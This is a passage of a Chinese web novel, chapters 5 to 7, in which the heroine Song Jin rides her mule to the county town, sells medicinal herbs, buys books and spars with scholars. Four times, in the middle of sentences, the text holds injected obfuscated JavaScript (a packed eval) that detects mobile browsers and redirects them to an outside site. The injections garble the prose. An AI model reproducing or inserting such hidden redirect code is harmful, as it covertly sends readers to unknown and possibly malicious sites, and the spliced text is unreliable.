而家里两个丫鬟分工明确,靠谱的小眉负责安排事情和收拾宋锦牛铁兰的房间,小耳负责家里六口人的饭菜和洗母女俩的衣服,小茂和小多则是负责前院后院卫生还有菜地牲畜这些 不过话又说回来,镇上一般的小地主家庭,也养不起这么多人 大部分小地主家庭,一个家四五房大几十个人,要考虑小一辈读书、婚嫁、人情,那都是能自己干活就自己干,最多是农忙时候招点短工帮忙,算下来一年到头才能吃饱的同时每人有点余存,专门买丫鬟小厮的可不多 毕竟,这算下来还不如娶小妾姨娘划算,又能干活又不贵,还名正言顺 牛家不一样,家里就母女两个人,又有家底。 牛铁兰头脑好使,有手艺,很擅长胭脂香料这些,虽然没开店,但是每年都会出些新配方给林家商行,赚点银两,赚了钱又拿去买地买山 一年年下来,她们家除了百亩良田以外,还有一座茶园和桑树园,每年都有不少进项 宋锦就不说了,随便往山里转一圈回来就是几两银子,也是她只想‘啃老’,就是偶尔会找到些上好的药材,大部分也是自己和老娘吃,只有少部分 宋锦会把东西送到县里的回春堂去,这次也不意外 她饭后简单收拾了一下,收起这段时间攒下的一些药草打算出门了,当然,贵重的还是这次的鹿茸和鹿鞭,还有几块被她娘嫌弃到不行的野山参 宋锦:“娘,我去县里了给刘大夫送药,家里带不带点什么?” 牛铁兰想到那些药材就烦,没好气道:“什么也别给我带,晦气” 宋锦嘴角一抽:“知道了,那我走了” 牛铁兰继续嫌弃:“快去快回,记得别给小黑喂豆子,免得一天到晚净放屁” 宋锦:“……知道了” 小黑是宋锦的坐骑,一匹汗血宝马,勾搭了他们镇子最漂亮的小灰驴生出来的骡子。它完美继承了汗血宝马爹的流畅身子大长腿,还有漂亮亲娘小灰驴的脑袋,油光水滑大长腿,比起一般的骡子高了小半个脑袋,可是俊了 就是喜欢放屁,一吃豆子就放屁,偏偏它最喜欢吃豆子 宋锦走到自家驴圈,小黑正嚼着草料,看见她过来,猛得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025827|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬起脑袋,长长的耳朵晃了晃,一双黑眼睛亮晶晶地盯着她,像马像驴又像兔,很是漂亮 “黑崽,走,我们去县城” 宋锦走过来拍拍小黑脑袋,打开驴圈把它拉出来,熟练地拿起带子装草料 小黑兴奋地用脑袋拱她的腰:“哼哧哼哧” 宋锦大笑:“别闹,一样来点,不然饿肚子可别怪我” 小黑:“哼哧哼哧” 宋锦嘿嘿:“行行行,豆子多点,给你装,悄悄的,被娘看到可就没了” “看到什么?” 牛铁兰凉飕飕的声音传了过来 宋锦立马嘻嘻哈哈:“娘你怎么过来了?这边味道大,不好闻” 牛铁兰冷笑:“你少喂它点豆子就不臭了” 宋锦讨好道:“小黑跑来跑去多辛苦嘛,它也就这么一个爱好” 牛铁兰呵呵一笑,这话她可真好意思说 这头破骡,一般人喊不动,吃要吃最好的料子,脾气又大又挑食,一年到头没干什么活,纯粹是长得好看的废物东西 要是放在一般人家,它早就被卖了,干不了活还能吃,也就她闺女 牛铁兰眼不见心不烦,把腰间的荷包扔了过去:“去县城安分点,别瞎跑。严盛马上就要院试了,买点好的笔墨送去” 宋锦轻松接过荷包,眉头一挑,有些小醋:“买这么好啊,那小子也配?” 牛铁兰烦:“那还给我” 宋锦连忙收好荷包,嘿嘿一笑,牵着同样兴奋的小黑往外面走去,等到了街道,轻轻抬脚,便利索上了骡鞍,坐在小黑背上 骡子高大,昂首挺胸,一侧挂着长弓利箭,更添气势 她身材高挑,明眸皓齿,明艳清丽,一双丹凤眼明亮,因为外出,穿着一身深蓝色霞纹衣袍,纤腰束着,黑靴子压住裤脚,坐在骡子上潇洒非凡 “娘我走了” 宋锦侧身冲着自家娘亲一笑,笑容明艳动人,紧接着她拍拍小黑脑袋,手上拉绳,小黑哼哧两声,迈开腿带着人跑开 牛铁兰站在门口处看着,一直到看不到人了,才扬了扬嘴角 这这破骡子虽然又懒又倔,只听她崽一个人的话,但是确实比一般骡子好用,耐力好、速度快、外面俊,又没有马张扬 算了,暂时先不宰它了 臭就臭点吧 5. 第 5 章 盛夏时节,碧绿的稻田一望无际,夏风抚过,稻谷一层一层交接起伏,宛如水中波浪,藏住其中背着箩筐镰刀的农人。 他们背着镰刀背篓,佝着腰,查看着自家一年的粮食,时不时清清水渠,抓点害虫,拔拔坏苗…… 在稻田中间,一条宽阔的乡道蜿蜒 黑色的骡子张着两块唇瓣,哼哧哼哧嚼着干草,底下修长结实的四肢哒哒哒悠闲小跑,看起来慢慢吞吞,但是其实并不比一般的马儿慢 毕竟,马是短距离速度快,即便那些个汗血宝马一刻钟不到的功夫便能跑个二十里,一般骡子得两三刻钟,听起来差距宛如天堑,但把距离拉长 五百里路好马停停歇歇得跑四五个时辰,好骡子慢慢悠悠四五个时辰也能晃悠到 小黑就是一只上好的骡子,拖着东西的情况下,它一个时辰最快能行一百多里路,比很多马快多了,是匹特别优秀的好骡子,就是 “扑哧~” 一股怪异的臭味散在空气中 骡背上的宋锦皱起了脸,一只手在面前挥散气味,另一只手一巴掌拍在前面的骡脑袋上,苦口婆心 “小黑啊,咱们是有格调的骡,要讲文明有风度,你得控制自己,多吃草少吃料” 小黑鼻间喷气,长耳晃晃,抬高了蹄子加大哒哒声,一脸不服 骡那么辛苦,吃点好的怎么了? 见它不听,宋锦立马变了脸色,捏起拳头往它眼前一晃,揪住它两只长耳朵,冷酷无情道:“再乱放屁扣你豆子,听到没有?” 小黑立马屁股一缩,哼哼哧哧地摇头晃脑,立马温顺又谄媚 宋锦满意了起来 不管在哪个年头,还是武力最好用啊 她把它脖子上挂着的粮食袋子取下,再扯扯骡绳,拍了拍明显偷懒的小黑脑袋,吆喝:“跑起来,一会儿事情还多着呢” 小黑立马明白散步时间结束,仰头长哼两声,便加快速度,哒哒哒带起一阵黄‘烟’,快速朝着相隔一百里的泗安县城奔去 泗安县以前是个出了名的穷县,后面碰上个好县令,就跟着发展了起来,从一个只有两三万人口的穷县城,变成了现在有八万多人口的富裕县,在整个州都排在前列 县城城墙足有十五六里,远远看去,便能看到那高大的城墙上泗安县三字,牌下便是带着刀具的守卫,他们负责开关城门,检查来往可疑人员,还有负责征收一些过城费用 这点主要是针对一些游商,费用不高,但是积少成多,一文文都累成了那高大的城池 本地县令清廉,县里纪律严格,衙役官员也待人和气 宋锦在林溪镇很有名气,在县里也不遑多让,负责城门的守卫都认识她,见她牵着骡子过来,展着笑容 “小宋来了啊,这次又带了什么好东西?” 宋锦嬉笑上前:“罗哥李哥,又是你俩值守啊,辛苦辛苦,来,啃个鹿肉干,昨个现烤出来的” 罗哥:“哟,鹿肉,你个小丫头厉害了,那我可不客气了” 李哥:“谢了,对了,今个大庆镇底下耕牛发疯死了,正在卖场那边” 听到有牛肉,宋锦的眼睛瞬间就亮了起来 和其他动物不一样,这个年代牛是很重要的耕地资源,私底下是不允许宰杀的,只有那些个老的没法耕种的,或者是意外死亡的牛才能售卖 宋锦穿过来这么久,一两年才能吃到一次。 毕竟只要不乱来,耕牛能十来年,现在能买到牛肉了,宋锦一点不和两人客气,跳上骡子就一溜烟地跑了 “罗哥李哥回头见,我走了” 两个守卫见她急急匆匆的模样,有些好笑地摇了摇头,然后很快恢复严肃模样,继续检查着其他来往行人 作为在城里小有地位的守卫,他们和气也要看人的 …… 这边,宋锦骑着骡子一路跑到卖场 卖场是大家私底下的称呼,很直白的,就是买卖各种东西的地方,算是城里最热闹的一个市场,每日都有不同地方的商队往来 吃的、玩的、活的、死的、动物、植物 活人 全都有 不过末日的卖场不比这好到哪儿去,宋锦习以为常,略过那些乱七八糟的区域,很快就找到卖牛的地方 牛肉很受欢迎,她过来的时候已经只剩下些骨头碎肉,人来人往少有人给眼神,坐在摊子边的大爷唉声叹气 这年头一头壮牛的作用可太大了,不仅可以帮着自家耕地、搬运,还可以租赁给别人家赚点营养费。摊子上这牛看骨架子就才没长成两年,好不容易可以放心用了,结果没了,对谁都是一大笔损失 宋锦走上前,看着这些骨头碎渣,也不嫌弃,没有讲价,小手一挥就全部包圆:“阿爷,都要了” 蒙大爷很是欣喜,不过很快又有些犹豫:“都要啊?吃得完吗?现在天热,放不了多久” 宋锦蹲下来掂了掂:“吃得完,家里人多,这些骨头拿回去用大柴炖一晚上,香得很,熬点骨油出来拌饭拌面合适得很” 加点党参枸杞的,也补身子咧 蒙大爷放下心来,称了重量,算了钱,又小心翼翼一点点给她收拾碎肉渣,解释道:“别看这肉碎了,但新鲜着呢。我家阿牛刚两岁三个月,肉正是嫩的时候,要不是要不是” 说着,他眼角有些湿润,看起来伤心极了 也是,一头壮牛不说别的,光是售卖也能有个七八两银子,但是卖肉的话,有个两三两就很不错了 宋锦感同身受,要是自家小黑也没了只剩下这点碎肉,她也得伤心 她问:“阿爷,这牛看着好好的,怎么就没了?” 蒙大爷苦笑:“早上还好好的,我就拉去山脚耕地,耕着耕着,它突然就发起了疯往山上跑,踩空了摔死了” 其实也没死,但是眼看着牛奄奄一息,脊背都断了,蒙大爷咬着牙给了它个痛快,想想都心痛得很 宋锦同情:“可能是马蜂叮了也说不好” 蒙大爷郁郁:“应该不是,我寻思应该是被山里的野兽吓的,我们那就挨着盘龙山,凶东西太多了” 宋锦若有所思,想到守卫提到的大庆镇,立马猜到:“大桉村?” “是啊” 蒙大爷唉声叹气地收着东西,眼角湿着,嘴上忍不住:“这破地方,破山,我的牛啊,好不容易长大了想着弄个牛车能有点活计……” 宋锦同情地看了看大爷,没多说什么,爽利地给了钱接过牛肉放在筐里,牵着小黑离开卖场,沿着青石板路来到两条街外的平福街 就在街道的交叉口处立着一个小院,门口的大石狮嘴里叼着两颗金球,要不是后面高高立着的牌匾上写着回春堂三个字,谁还分得清这是金铺还是医馆啊 宋锦啧啧两下,把小黑栓在门前的柱子上,朝着里面走去 回春堂是县城最大的医馆,里面的镇店之宝刘大夫是宫里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025828|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退下来的御医,医术高超,收费也合理,所以医馆生意好得不得了 宋锦进到里面都没注意到她,她只能自力更生,扯着嗓子就大声嚷嚷了起来 “老刘头老刘头,我给你送货来了” 老刘头也就是镇店之宝正给人把着脉,听到这声音眉头一跳,手一抖,胡子一翘:“死丫头喊什么喊,看不到人吗?” 宋锦蹦跳过来:“现在看到了,老刘头,快点验货,我一会儿还要回去,天黑了我娘会担心的” 老刘头吹胡子瞪眼:“你这死丫头还怕你娘担心?” 宋锦白眼:“你个老头子都还怕娘,我一个小丫头不能怕?” 老刘今年已经六十岁了,但上面还有个八十岁的老娘,老太太气色好得不得了,整天活蹦乱跳,骂儿子可有劲了 不让她吃肥肉吃糖要骂、让她喝药也骂、不让她种菜干活还是骂 老刘没好气地瞪了瞪宋锦这揭短的死丫头,火速给手头的病人看了病拿了药,擦擦手,起身带着人往药房走,一路唠叨,唠叨中带着痛心疾首 “这次带了些什么?你这丫头别想又拿那些边角料糊弄我,就知道给你娘补补补,她那补的都漏了,暴殄天物啊” 宋锦走在后面,一路摇头晃脑扭眉耸肩,对于他的话左耳朵进右耳朵出,撇着嘴在心里腹诽,给自己娘亲吃补药,怎么能是暴殄天物呢?不怪这老头天天被老娘骂,活该的 老刘一见她这表情就知道自己白说了,没好气地伸手:“东西拿来我看看” 宋锦赶紧把东西递过去,一秒都不想多听他唠叨 要说起两人的渊源,还得追溯到十年前 那时候牛铁兰的身体比现在差多了,有一次她得了风寒病重,宋锦找了很多人都没用,眼看着人奄奄一息了,是老刘头出手救了人 自那以后,宋锦就非常积极地和人打好关系,跟着他鞍前马后眼快嘴甜,甚至正经跟着学了两年的医,那机灵聪明得,老刘头都觉得自己后继有人了,她自觉关系够了 就跑了 跑了 老刘头气得吹鼻子瞪眼,自那以后看到宋锦就关门,一直到后面她经常带着珍贵药材上门,也没有完全扔下药理知识,两人才逐渐和解 这次也是,在看到她带来的人参、鹿茸、鹿鞭还有鲮鲤①壳等好药后,老刘头的臭脸逐渐松了下来 “年份不错,处理的也还将就,算你八十两银子吧” 宋锦立马喜笑颜开:“感谢刘大夫开恩” 老刘头烦骂:“没出息的死丫头” 宋锦继续嘻嘻哈哈:“嘿,老刘头你这说的,这县城里,我和咱们县太爷都说得上话的,哪里没出息了?” 老刘头没好气:“滚滚滚,拿了银子就滚,看到你就来气。还有,最近少往山里跑,这段时间山里出事的人比往年多了不少” 宋锦哈哈一笑,敷衍地应了一声,从兜里掏出一个小包扔了过去 老刘头险险接过荷包,打开一看,里面是两块上好麝香,足有二两重,价值不用多说。他惊得沉默半晌,刚想说什么,宋锦已经迈着长腿跑开了 老刘头赶紧大喊:“臭丫头,少往山里跑” “知道知道” 宋锦思绪一晃而过,也没有多想,不太在意地摆了摆手,蹦蹦跳跳地跑出回春堂,牵起小黑继续朝着另一边的书铺走去 她还得给那小子买笔墨送去 啧,读书人就是了不起咧 6. 第 6 章 “糖葫芦,卖糖葫芦咧” “汤团,新鲜出锅的汤团,甜滋滋的汤团” “针头线头小碎布,买个一头试一试” …… 宋锦牵着小黑走在街道上,周围是各色小货郎吆喝的声音,时不时还能听到些小娘子嬉笑的声音,热闹又欢喜,让她不由自己所穿的新王朝 前朝末端,朝廷腐败,皇帝更是荒诞□□,强占臣妻,四处招收采女,看谁不顺眼便拖下去砍了,长久下去灾难频发,百姓日子艰难,便揭竿而起 三年争战,前朝败落,由北方大族齐家重掌帝权,建立新朝大衍,以庆安为历,现在是庆安二十六年,当年的年轻帝王已经五十二岁,眼看着年纪大了,年轻的皇子蠢蠢欲动 也不知道后面又会有什么争端 宋锦想想有些愁,她的悠闲日子还想过一百年呢,真希望现在的皇帝能活到一百岁,这样日子也就不会有什么变动了 不过多想无意,她一个小小地主,可影响不了上面的事情,只能走一步看不过。反正嘛,实在不行她带着老娘往山里一钻,左右有那么多虎崽子坐镇,日子也能过得去 想到这,宋锦抛去那无影的担心,调了个头,兴冲冲地朝着自己经常去的书铺走去,那也是整个泗安县最大的书铺 前面说过,泗安县曾经是个穷县,穷到什么程度呢? 最好说明的就是,三届科举,整个县愣是一个进士都没有出现过 因此,在日子好过起来以后,泗安县注重教育,从县城到底下镇,建了不少大小书院,不说师资有多雄厚,启蒙是完全没问题的,县里每年都会有对于夫子的考核 除了书院以外,城里更是遍地大小书铺,里面售卖笔墨纸砚,更是名家心得,各种诗篇、数理、农学等正经书籍 和杂书 宋锦的目标就是这玩意儿 末日的时候大家生存都艰难,物资紧张,书籍更是难得的奢侈品。除了一些基础教育书,宋锦从小到大没看过两本正经杂书,穿到这边了,那年偶然进书铺,从此惊为天人 她便成了各种小说杂书的忠实读者,家里甚至都有她专门的书房 对此,牛铁兰给了四字评价 不堪入目 咳咳,宋锦觉得还是挺能入目的,她进山守猎的时候经常掏出来看看书,还是挺有意思的。这不,她一进书铺,‘店小二’就注意到她这个老熟客,立马朝着她走了过来 “这些都是这次的新货,看看要哪些”‘店小二’冲她眉来眼去,翻出几本书,小声:“强烈推荐” 宋锦秒懂,小手一挥:“全都要了” 店小二高兴得拍拍她的肩膀:“好兄弟,豪爽” 宋锦嬉笑作揖:“客气客气” 店小二也眉飞色舞,刚要和她说些什么,那边突然传来一声怒吼:“舒程浩,在那里干什么呢,给我滚过来招待客人” 宋锦忍不住撇嘴:“你爹什么意思啊,我不是客人吗?” 店小二舒程浩略带心虚地摸了摸鼻子,小声解释:“我翘了我爹的墙角,重新开了个小书铺,你现在买的,是我那边的货” 宋锦叹为观止,上上下下打量这个从小认识的小伙伴,感叹道:“你行啊,你爹竟然没打死你” 都不用细想她就知道这人的书铺,肯定不会卖什么‘好东西’,都是些正经文人眼中不堪入目的玩意儿 舒老爷子让他开店不说,竟然还允许他在店里拉客人,怎么想怎么不是他的风格 宋锦好奇:“你干什么了?” 舒程浩的脸上立马出现羞愧神色,神色闪躲,吞吞吐吐半天说不出话来 宋锦看得眉头挑起,狐疑地看着这人,随即恍然大悟,不可思议:“你答应他和我绝交了?” 当初宋锦第一次进城,就碰上了被人欺负的小胖子舒程浩,帮他把人赶走之后,两个人就结下了交情。后面牛铁兰看医,宋锦学医,母女俩直接住在城里,宋锦和这小胖墩也经常碰上,渐渐熟了起来,成了标准的狐朋狗友 而在那之前,舒程浩还是一个内向胆小不喜欢读书但是努力的小胖崽,在那之后,他就成了骂不吭声打就跑路的小纨绔 一心想让舒程浩读书的舒老爷子怎么看宋锦怎么不顺眼,每次见着她都眼睛不是眼睛鼻子不是鼻子,就差抬个送客的牌子了 这么一晃十年 他们友谊的小船,总算是要翻了? 宋锦痛心疾首 舒程浩气红了脸:“没有,我怎么会和你绝交,我是那种人?” 宋锦继续狐疑:“那你怎么说服你爹的?” 舒程浩皮肤白,此刻从脸一直红到了脖子耳尖,喏喏半天说不出个话来 宋锦猜了又猜 舒老爷子已经走过来了,阴阳怪气道:“这不是宋大侠宋姑娘嘛,你这过来可真是让我们书铺蓬荜生辉啊” 宋锦半点不在意他的态度,眉眼轻挑,张扬得意,顺着他的话就道:“哪里哪里,舒老爷子客气,咱们谁跟谁啊” 舒老爷子气:“谁跟你一伙了?快,没事就回去,别在这影响程浩,他可是要考秀才的人” 宋锦怀疑自己听错了,揉揉耳朵:“哈?” 舒老爷子心里舒服了,得意:“我家程浩这次要下场了,没想到吧,小丫头” 宋锦还是怀疑自己听错了,看向当事人舒程浩 舒程浩羞愧地低下脑袋,嗫嗫:“是,是有这么回事” 宋锦收收自己的下巴,沉默再沉默,好半天回过神来,深深感叹:“要不你还是和我绝交吧” 这谁还不了解谁啊,这人也不是读书的料啊 舒老爷子可不乐意听这个,吹胡子瞪眼,跳脚:“小丫头,赶紧走,考试结束前都不许过来打扰他” 舒程浩阻止他:“爷爷” 舒老爷子瞬间厉色:“你怎么答应我的?” 舒程浩立马闭嘴,羞愧地看向宋锦 宋锦就是觉得这件事不可思议,毕竟,说好的好兄弟一辈子一起当文盲,这家伙竟然半路反水。不过反水就反水吧,也不是什么大事,毕竟这秀才也不是说考就能考的啊 宋锦向来不把这种小事放在心上,她莞尔一笑,爽快道:“行啊舒程浩,那你好好考,我等你的好消息” 她站在那角落上,身侧是纸张笔篓,身后是落下的日头,透过竹编隙缝撒在她身上,璀璨得让人目眩 舒程浩恍神 舒老爷子没眼看,一脚踹在他腿上,没好气道:“发什么愣?赶紧看书去,真以为那试是考谁说得好听?考不上,你什么都别想” 宋锦以为他说的是书铺的事,跟着吆喝:“就是就是,要考就得好好考,舒程浩你要是考上秀才了,我可也跟着水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025829|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高船涨,成了秀才朋友了” 舒程浩深吸一口气:“我会的” 舒老爷子睨着宋锦:“说的好听,你怎么还不走,净在这瞎打扰人” 宋锦:“我还没买东西呢” 舒老爷子嫌弃:“那些破书,赶紧抱着走,污了我的地” 宋锦耸肩:“哪儿呢,那是顺便的,我这次过来真是正经买东西的。老爷子你给我推荐一下呗,什么笔墨好用,我买来送人,也是秀才生” 说着,她立马想起了什么,眼睛一亮,笑道:“对了,要不我帮程浩问问什么资料好用,我那朋友是文渊书院甲班的” 舒程浩脸色一僵 舒老爷子更是跺脚:“死丫头,我还用你介绍?赶紧走赶紧走,看着你就烦” 宋锦:“哎哎哎,我的笔墨” …… 没一会儿功夫,宋锦拿着笔墨被赶出了书铺,站在书铺外面,她挠了挠脑袋,想不明白这爷孙俩今天到底怎么了 奇奇怪怪的 不过仔细想想也能理解,考秀才嘛,哪里能没点压力呢? 院试三年两次,每次县城也就录取二十人,就这难度,宋锦换位思考,要是换她来,那都不是有压力,而是直接发疯了 她晃了晃脑袋,把小伙伴都奇怪行为甩开,喜滋滋地把杂书放筐里,去完成自家娘亲交代给她的任务 给严盛那小子送笔墨 宋锦虽然面上不显,但其实她懂得很,她娘对严盛这么好,全都是为了她 以后有个靠山啊 严盛那小子从小就会读书,举一反三,在他们镇学就是第一名,后面有机会进县里,更是直接考进文渊书院 这是由当初改变泗安县命运的前县令所修,请了前朝大儒坐镇,又邀请了不少名人明圣加入,一点点弄起来的 建院不过三十余年,在整个大丰朝都颇有名气,每届科考都有人上榜,一甲二甲也不在少数。也因此,每年想进文渊书院的人如过江之鲫,数不胜数,但是能进入的,也不过百余人 那些能进入书院的学子,不是头脑聪慧过人,就是家底殷实过人 严盛属于前者 他也是这次板上钉钉的秀才预备役,只要不出意外,绝对是能考上的 他这个年纪一旦考上秀才,以后不说进士,考上举人是肯定没问题的,到时候在县里也能谋个一官二职 到时候她们母女俩,这资助过他的大金主大恩人,他还能不看着点? 宋锦懂 未来的大腿嘛,虽然现在还不够/粗,但是先抱在那儿 这论聪明,还得是她娘啊 宋锦在心里感叹着姜还是老的辣,没一会儿就来到了文渊书院附近 这边也是县城房价最贵的地段之一,住在这边的人非富即贵,都是想要让家里孩子多熏陶一下,最好跟着书院的作息一起,运气好还能向书院的先生、学子讨教讨教 宋锦一过来,就碰上一群穿着学子服的学生围在一起,在那里大声讨论着什么,她侧耳一听 “宋商奸臣,狼子野心,得亏陛下心胸过人” “这乱臣贼子,真是不堪为人” “荒谬,实在荒谬,他宋商有什么资格这么做” …… 宋锦哦豁一声,迅速凑了过去 让她听听这大奸臣又干什么坏事了 7. 第 7 章 “乱臣贼子,得而诛之” “可惜江南严家,满门清白,竟被陷害于此,可悲,可恶啊” “奸臣,早晚被天收” …… 为了方便听八卦,宋锦直接放开小黑,快速又轻手轻脚地凑近了这群文渊书院的学子,津津有味地听着他们义愤填膺地痛斥奸臣,非常捧场地跟着点头,时不时拍个掌附和 凑热闹,她是专业,绝对不会冷场的 就是有些过于明显了一点 一群愤怒的学子挥斥心中的愤怒之后,也逐渐冷静了下来,就注意到了这浅蓝中的一抹靛 那纤细修长的身姿,明艳大方的脸蛋,张扬肆意的神态…… “哎,你们怎么不说了?”宋锦正听得高兴呢,见这些人安静了下来还有些不乐意,拍拍手眨眨眼,怂恿道 “我还没听够呢,继续说呗,从哪来着,哦对,就从那大奸臣前段时间突然抄家说起,你们骂了半天,还没说他为什么要抄家呢” 这些人读书是专业的,说起故事,还是差茶楼说书人一截 宋锦这样想着,脸上也就这样展现,那隐隐的嫌弃谴责,看得一群学子哽住,想说什么都无从说起,最后只能回归一句 “你怎么又来了?” 他们警惕地看着宋锦 这群学子皆是二十上下的年纪,身上穿着蓝白学服,一个个身姿颀长,五官端正,又有学识蕴养,多少都带着些书生气 是的,文渊学院招收学子也看脸和身高,每年招录学生的时候,还会请回春堂的大夫过去坐阵,测骨龄身高,达不到要求的便退下 虽然说院试乡试这些并不看外形,但是在殿试时候,还是有考量的,那种丑陋到伤眼的暂且不说,也属实太少,主要还是看身形是否过于矮小、手脚是否有疾、脸上有无缺陷等 一番折腾下来,能进文渊书院的人,身高基本都是五尺往上,在常人中都属于中等偏上,五官不说俊朗也是端正,又有学识才华家底。也因此,宋锦给其取了个昵称 乌龟学院,又名王八学院 金龟婿嘛 这些学子每年都被县里甚至府城的老爷夫人们盯着,想要从中抢女婿,他们走到哪里都是人群的焦点,一个个即便面上不显,心中也还是颇有得意 现在,就这么一群外敛内傲的天之骄子,全把目光给了送面前这个宋锦这个平平无奇的乡下村姑 个屁啊 她浑身上下就没有一点和平平无奇有关的 身高鹤立鸡群,面容明艳夺目,性子嚣张跋扈,巧嘴,骂人叫一个难听 唯女子和小人难养也①这句话在她身上展现得淋漓尽致 一群在宋锦身上吃过一次两次很多次亏的人纷纷后退几步,警惕地看着她笑眯眯的模样 这泼妇最擅变脸,上一秒还在哈哈大笑,下一秒那长腿就踢了出来,绊得人一个措手不及,他们可不想在同门、百姓面前丢人 宋锦被他们这么盯着,觉得自己可无辜了:“你们这是什么意思?书院不让姑娘家进就算了,还不许我们看两眼啊,怎么,我过来都不行?这么嫌弃女人家,有本事你们别出现在女人肚子也别成亲啊” 有人的地方就有圈子,有圈子的地方就有领头人,这群学子经常聚在一起,陶志义就是其中的领头人。 他父亲是泗安县的县丞,作为县令身边一把手,他们家从爷爷的爷爷开始就在县衙扎根,可以说流水的县令铁打的县丞,是地地道道的地头蛇。他作为这一辈靠实力考进文渊书院,不过二十便能冲举人的年轻人,在陶家颇有地位,是个聪明人 陶志义道:“我们可没说这些话,你爱去哪去哪没人管,但是偷听我们说话,就不是君子行为了” 宋锦惊:“你的意思是我不偷听就是君子了?” 好高的评价啊 陶志义被噎:“唯女子与小人难养也” 宋锦抱胸,啧啧:“说不过就人身攻击?我确实不是君子,但你们这些人,背地说人坏话就是君子了?” 陶志义嫌弃:“头发长见识短,一边玩去,别在这瞎掺和我们男人讨论国家大事。现在乱臣当道,文人遭殃,我们书生文人应该团结起来,书写劝诫,朝廷才会重视此事,重新调查,保全晏氏一族” 其他人纷纷附和 “就是就是,必须让上头看到我们的意见” “晏家世代端正,是读书人的楷模,” “严惩奸臣,不能寒了读书人的心啊” …… 一个个义愤填膺的,不知道的还以为出事的是自己家呢,这些个文人别的不说,在集体利益上,还是团结的嘛 不过轮到个人了 宋锦笑眯眯:“厉害厉害,那你们快点写,把你们的名字也写上,写完了我帮你们交给县令大人,不用谢,我纯好心” 陶志义等人憋红了脸不说话 谁不知道他们县令大人这么些年来虽然清正廉洁,为百姓生计忙白了头,是个有勇有谋有情义的好官,但是过于重义了,早年被奸臣所救之后便一直记挂于心,根本不接这一茬 他们今天联名写谏上去,明天就得被家里收拾 “荒谬,简直荒谬,国家大事,轮得到你一个女人家说的?”陶志义红着脸,怒道:“别以为县令大人对你另眼相看你就可以” 宋锦晃晃拳头:“可以什么?” “……可以走了”陶志义猛的住嘴,他和这女人说什么呢,简直是对牛弹琴,他绷着脸,冲着其他人点头,“走吧,院试在即,我们该回书院温习了” 其他人纷纷点头赞同 眼看着一群人说不过自己就要跑,宋锦翻了个白眼,揪住陶志义的衣领 陶志义咬牙:“男,男女授受不亲,你干什么?别以为肖大人和你多说两句话,你就可以无法无天,快放开我,小心我参你一道” “参个屁,你一个白身,等你考起进士了再来说这话吧”宋锦松开他的衣领,拍拍手,悠悠道:“再说了,我也没干什么,你进去了把严盛给我叫出来,我找他有事” 陶志义没有应声,只是瞪着她,一张脸气得通红,甩了甩衣摆气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025830|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲冲回书院了 宋锦不太在意,耸了耸肩,朝着一边挥了挥手,小黑哒哒哒非常自觉地走了过来 一人一骡就在这里等了起来 ** 文渊书院盛名在外,周围房价高涨,但是到底僻静,周围多是些有底蕴的人,穿着打扮作态或繁奢或低调 宋锦这牵着小黑骡子大大咧咧站在那儿,手中磕着葵花籽,轻抖着长腿,乡野气息十足的模样,实在过于显眼,走过路过的人都得多看两眼 就在她身后的客栈三楼,昂贵的雅间窗户微开,里面的人站在那儿从上往下将一切尽收眼底 年近半百的中年人一袭灰袍,他头发依稀有些花白,眼角也多有纹路,但是整个人精神矍铄,眉目间带着凌厉精明,此刻,他微微颔首,不卑不亢,又带着些偏颇地说道 “此女乃底下镇上姑娘,平日性子虽有张扬,但为人正义,又有一身武艺,曾射杀饿狼解救村民,前几个月为县衙捉了恶徒,实为大义。” 他便是泗安县的县令肖仕,是早年前朝的榜眼,但是一生失意,多次被贬,生活坎坷,直到前些年情况好起,到了泗安县发挥才能,两任已过,不出意外,等明年他便会调回京城 他恭敬地看着面前的墨衣男人,道:“泗安县到底太小,这些年轻人没见过什么世面,不知天高地厚,被表面蒙蔽,等后面一定让学院多多教育,望王爷莫怪” 